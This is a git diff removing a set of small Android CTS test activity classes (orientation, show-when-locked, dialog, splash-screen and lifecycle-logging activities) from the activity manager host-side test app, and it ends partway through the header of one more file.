diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PortraitOrientationActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PortraitOrientationActivity.java
deleted file mode 100644
index 5fa1fc8..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PortraitOrientationActivity.java
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.content.res.Configuration;
-
-public class PortraitOrientationActivity extends AbstractLifecycleLogActivity {
-
-    @Override
-    protected String getTag() {
-        return "PortraitOrientationActivity";
-    }
-
-    @Override
-    protected void onResume() {
-        super.onResume();
-        final Configuration config = getResources().getConfiguration();
-        dumpDisplaySize(config);
-    }
-
-    @Override
-    public void onConfigurationChanged(Configuration newConfig) {
-        super.onConfigurationChanged(newConfig);
-        dumpDisplaySize(newConfig);
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ResizeableActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ResizeableActivity.java
deleted file mode 100644
index aad874b..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ResizeableActivity.java
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-package android.server.cts;
-
-import android.content.res.Configuration;
-import android.os.Bundle;
-
-public class ResizeableActivity extends AbstractLifecycleLogActivity {
-    @Override
-    protected String getTag() {
-        return "ResizeableActivity";
-    }
-
-    @Override
-    protected void onCreate(Bundle icicle) {
-        super.onCreate(icicle);
-        setContentView(R.layout.resizeable_activity);
-        dumpDisplaySize(getResources().getConfiguration());
-    }
-
-    @Override
-    public void onConfigurationChanged(Configuration newConfig) {
-        super.onConfigurationChanged(newConfig);
-        dumpDisplaySize(newConfig);
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ResumeWhilePausingActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ResumeWhilePausingActivity.java
deleted file mode 100644
index 578d7e5..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ResumeWhilePausingActivity.java
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-
-public class ResumeWhilePausingActivity extends Activity {
-    // Empty
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedActivity.java
deleted file mode 100644
index 6e3348a..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedActivity.java
+++ /dev/null
@@ -1,30 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-import android.os.Bundle;
-import android.view.WindowManager;
-
-public class ShowWhenLockedActivity extends BroadcastReceiverActivity {
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED);
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrActivity.java
deleted file mode 100644
index c53c485..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrActivity.java
+++ /dev/null
@@ -1,27 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-public class ShowWhenLockedAttrActivity extends AbstractLifecycleLogActivity {
-    private static final String TAG = ShowWhenLockedAttrActivity.class.getSimpleName();
-
-    @Override
-    protected String getTag() {
-        return TAG;
-    }
-
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrRemoveAttrActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrRemoveAttrActivity.java
deleted file mode 100644
index dbad34d..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrRemoveAttrActivity.java
+++ /dev/null
@@ -1,35 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.os.Bundle;
-
-public class ShowWhenLockedAttrRemoveAttrActivity extends AbstractLifecycleLogActivity {
-    private static final String TAG = ShowWhenLockedAttrRemoveAttrActivity.class.getSimpleName();
-
-    @Override
-    protected void onStop() {
-        super.onStop();
-        setShowWhenLocked(false);
-    }
-
-    @Override
-    protected String getTag() {
-        return TAG;
-    }
-
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrWithDialogActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrWithDialogActivity.java
deleted file mode 100644
index 136706a..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrWithDialogActivity.java
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-import android.app.AlertDialog;
-import android.os.Bundle;
-import android.view.WindowManager;
-
-public class ShowWhenLockedAttrWithDialogActivity extends Activity {
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        new AlertDialog.Builder(this)
-                .setTitle("Dialog")
-                .show();
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedDialogActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedDialogActivity.java
deleted file mode 100644
index 5b60139..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedDialogActivity.java
+++ /dev/null
@@ -1,30 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-import android.os.Bundle;
-import android.view.WindowManager;
-
-public class ShowWhenLockedDialogActivity extends Activity {
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED);
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedTranslucentActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedTranslucentActivity.java
deleted file mode 100644
index 929c9f7..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedTranslucentActivity.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-import android.os.Bundle;
-import android.view.WindowManager;
-
-public class ShowWhenLockedTranslucentActivity extends Activity {
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED);
-        setContentView(R.layout.translucent);
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedWithDialogActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedWithDialogActivity.java
deleted file mode 100644
index 58d5ac7..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedWithDialogActivity.java
+++ /dev/null
@@ -1,34 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-import android.app.AlertDialog;
-import android.os.Bundle;
-import android.view.WindowManager;
-
-public class ShowWhenLockedWithDialogActivity extends Activity {
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED);
-        new AlertDialog.Builder(this)
-                .setTitle("Dialog")
-                .show();
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SingleInstanceActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SingleInstanceActivity.java
deleted file mode 100644
index e0eaecf..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SingleInstanceActivity.java
+++ /dev/null
@@ -1,22 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-
-public class SingleInstanceActivity extends Activity {
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SingleTaskActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SingleTaskActivity.java
deleted file mode 100644
index 7ffde13..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SingleTaskActivity.java
+++ /dev/null
@@ -1,22 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-
-public class SingleTaskActivity extends Activity {
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SlowCreateActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SlowCreateActivity.java
deleted file mode 100644
index a757165..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SlowCreateActivity.java
+++ /dev/null
@@ -1,30 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-import android.os.Bundle;
-
-public class SlowCreateActivity extends Activity {
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        try {
-            Thread.sleep(2000);
-        } catch(InterruptedException e) {}
-        super.onCreate(savedInstanceState);
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SplashscreenActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SplashscreenActivity.java
deleted file mode 100644
index 22391bd..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SplashscreenActivity.java
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-import android.os.Bundle;
-import android.os.SystemClock;
-
-/**
- * Activity that shows a custom splashscreen when being launched.
- */
-public class SplashscreenActivity extends Activity {
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        // Make sure splash screen is visible. The test won't take 5 seconds because the condition
-        // such that we can dump the state will trigger much earlier and then the test will just
-        // kill us.
-        SystemClock.sleep(5000);
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SwipeRefreshActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SwipeRefreshActivity.java
deleted file mode 100644
index 5f36abc..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SwipeRefreshActivity.java
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-import android.os.Bundle;
-import android.server.cts.SwipeRefreshLayout;
-
-
-/**
- * An activity containing a SwipeRefreshLayout which prevents activity idle.
- */
-public class SwipeRefreshActivity extends AbstractLifecycleLogActivity {
-    private static final String TAG = SwipeRefreshActivity.class.getSimpleName();
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(new SwipeRefreshLayout(this));
-    }
-
-    @Override
-    protected String getTag() {
-        return TAG;
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SwipeRefreshLayout.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SwipeRefreshLayout.java
deleted file mode 100644
index a061d9e..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/SwipeRefreshLayout.java
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.content.Context;
-import android.util.AttributeSet;
-
-/**
- * An extension of {@link android.support.v4.widget.SwipeRefreshLayout} that calls
- * {@link #setRefreshing} during construction, preventing activity idle.
- */
-public class SwipeRefreshLayout extends android.support.v4.widget.SwipeRefreshLayout {
-    public SwipeRefreshLayout(Context context) {
-        super(context);
-        initialize();
-    }
-
-    public SwipeRefreshLayout(Context context, AttributeSet attrs) {
-        super(context, attrs);
-        initialize();
-    }
-
-    private void initialize() {
-        setRefreshing(true);
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TestActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TestActivity.java
deleted file mode 100644
index f9a86c6..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TestActivity.java
+++ /dev/null
@@ -1,88 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.res.Configuration;
-import android.os.Bundle;
-import android.util.Log;
-
-public class TestActivity extends AbstractLifecycleLogActivity {
-
-    private static final String TAG = TestActivity.class.getSimpleName();
-
-    // Sets the fixed orientation (can be one of {@link ActivityInfo.ScreenOrientation}
-    private static final String EXTRA_FIXED_ORIENTATION = "fixed_orientation";
-
-    // Finishes the activity
-    private static final String ACTION_FINISH_SELF = "android.server.cts.TestActivity.finish_self";
-
-    private BroadcastReceiver mReceiver = new BroadcastReceiver() {
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            if (intent != null && intent.getAction().equals(ACTION_FINISH_SELF)) {
-                finish();
-            }
-        }
-    };
-
-    @Override
-    protected void onCreate(Bundle icicle) {
-        super.onCreate(icicle);
-
-        // Set the fixed orientation if requested
-        if (getIntent().hasExtra(EXTRA_FIXED_ORIENTATION)) {
-            final int ori = Integer.parseInt(getIntent().getStringExtra(EXTRA_FIXED_ORIENTATION));
-            setRequestedOrientation(ori);
-        }
-    }
-
-    @Override
-    protected void onStart() {
-        super.onStart();
-        registerReceiver(mReceiver, new IntentFilter(ACTION_FINISH_SELF));
-    }
-
-    @Override
-    protected void onResume() {
-        super.onResume();
-        final Configuration config = getResources().getConfiguration();
-        dumpDisplaySize(config);
-        dumpConfiguration(config);
-    }
-
-    @Override
-    protected void onStop() {
-        super.onStop();
-        unregisterReceiver(mReceiver);
-    }
-
-    @Override
-    public void onConfigurationChanged(Configuration newConfig) {
-        super.onConfigurationChanged(newConfig);
-        dumpDisplaySize(newConfig);
-        dumpConfiguration(newConfig);
-    }
-
-    @Override
-    protected String getTag() {
-        return TAG;
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TestActivityWithSameAffinity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TestActivityWithSameAffinity.java
deleted file mode 100644
index db75dee..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TestActivityWithSameAffinity.java
+++ /dev/null
@@ -1,72 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import android.app.PictureInPictureParams;
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.res.Configuration;
-import android.os.Bundle;
-import android.util.Log;
-
-public class TestActivityWithSameAffinity extends TestActivity {
-
-    private static final String TAG = TestActivityWithSameAffinity.class.getSimpleName();
-
-    // Calls enterPictureInPicture() on creation
-    private static final String EXTRA_ENTER_PIP = "enter_pip";
-    // Starts the activity (component name) provided by the value at the end of onCreate
-    private static final String EXTRA_START_ACTIVITY = "start_activity";
-    // Finishes the activity at the end of onResume (after EXTRA_START_ACTIVITY is handled)
-    private static final String EXTRA_FINISH_SELF_ON_RESUME = "finish_self_on_resume";
-
-    @Override
-    protected void onCreate(Bundle icicle) {
-        super.onCreate(icicle);
-
-        // Enter picture in picture if requested
-        if (getIntent().hasExtra(EXTRA_ENTER_PIP)) {
-            enterPictureInPictureMode(new PictureInPictureParams.Builder().build());
-        }
-
-        // Launch a new activity if requested
-        String launchActivityComponent = getIntent().getStringExtra(EXTRA_START_ACTIVITY);
-        if (launchActivityComponent != null) {
-            Intent launchIntent = new Intent();
-            launchIntent.setComponent(ComponentName.unflattenFromString(launchActivityComponent));
-            startActivity(launchIntent);
-        }
-    }
-
-    @Override
-    protected void onResume() {
-        super.onResume();
-
-        // Finish self if requested
-        if (getIntent().hasExtra(EXTRA_FINISH_SELF_ON_RESUME)) {
-            finish();
-        }
-    }
-
-    @Override
-    protected String getTag() {
-        return TAG;
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TopActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TopActivity.java
deleted file mode 100644
index 6684999..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TopActivity.java
+++ /dev/null
@@ -1,53 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import android.os.Handler;
-import android.os.Bundle;
-import android.util.Log;
-
-public class TopActivity extends AbstractLifecycleLogActivity {
-
-    private static final String TAG = TopActivity.class.getSimpleName();
-
-    @Override
-    protected String getTag() {
-        return TAG;
-    }
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        final boolean useWallpaper = getIntent().getBooleanExtra("USE_WALLPAPER", false);
-        if (useWallpaper) {
-            setTheme(R.style.WallpaperTheme);
-        }
-
-        final int finishDelay = getIntent().getIntExtra("FINISH_DELAY", 0);
-        if (finishDelay > 0) {
-            Handler handler = new Handler();
-            handler.postDelayed(new Runnable() {
-                @Override
-                public void run() {
-                    Log.d(TAG, "Calling finish()");
-                    finish();
-                }
-            }, finishDelay);
-        }
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TopLeftLayoutActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TopLeftLayoutActivity.java
deleted file mode 100644
index 2305582..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TopLeftLayoutActivity.java
+++ /dev/null
@@ -1,22 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-
-public class TopLeftLayoutActivity extends Activity {
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TopRightLayoutActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TopRightLayoutActivity.java
deleted file mode 100644
index 701d3db..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TopRightLayoutActivity.java
+++ /dev/null
@@ -1,22 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-
-public class TopRightLayoutActivity extends Activity {
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TrampolineActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TrampolineActivity.java
deleted file mode 100644
index b3f9444..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TrampolineActivity.java
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
